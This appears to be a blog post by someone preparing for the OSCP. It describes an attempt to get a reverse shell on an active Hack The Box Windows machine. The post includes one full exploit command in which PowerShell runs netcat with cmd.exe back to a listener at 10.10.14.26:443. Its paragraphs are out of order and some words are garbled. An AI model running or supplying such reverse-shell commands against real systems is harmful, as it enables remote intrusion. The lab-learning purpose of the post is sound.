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I had no idea if it would work, but I felt it was worth a shot. However, it immediately dropped after that. It was almost working, as you can see I got a message saying it had connected. I was attempting to use PowerShell to execute Netcat. I'd get a connect message, and it would immediately drop.
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It looked something like this: Exploit Command on box with Netcat Windows Binary python sploit.py -i -u (usernameRemoved) -p (PasswordRemoved) -c powershell.exe -a '-NoProfile -Command /Users/Public/nc.exe -e /Windows/system32/cmd.exe 10.10.14.26 443' My Box Attempting to Catch the Shell nlis443Ĭonnect to from (UNKNOWN) 49780 It connected for a brief second then dropped. When I attempted to execute Netcat, my reverse shell failed.
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I had a Python script that gave me remote code execution, but I was only able to run a single command at a time and view the output in my terminal. I'll do my best without giving too many details. I can only vaguely talk about it right now since it's not a retired machine on HTB yet. I usually have to Google my way though things that work.Īnyway, I got past that part and was stuck trying to get a reverse shell working on a Windows machine.
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At least not right out of the box last time I checked. Have to learn.Īnyway, Windows doesn't typically have cool apps like Netcat and SSH. It's no secret to any of my friends who know me personally that I'm not a big fan of working on Windows. I've been working on more Windows boxes lately as part of my OSCP preparation.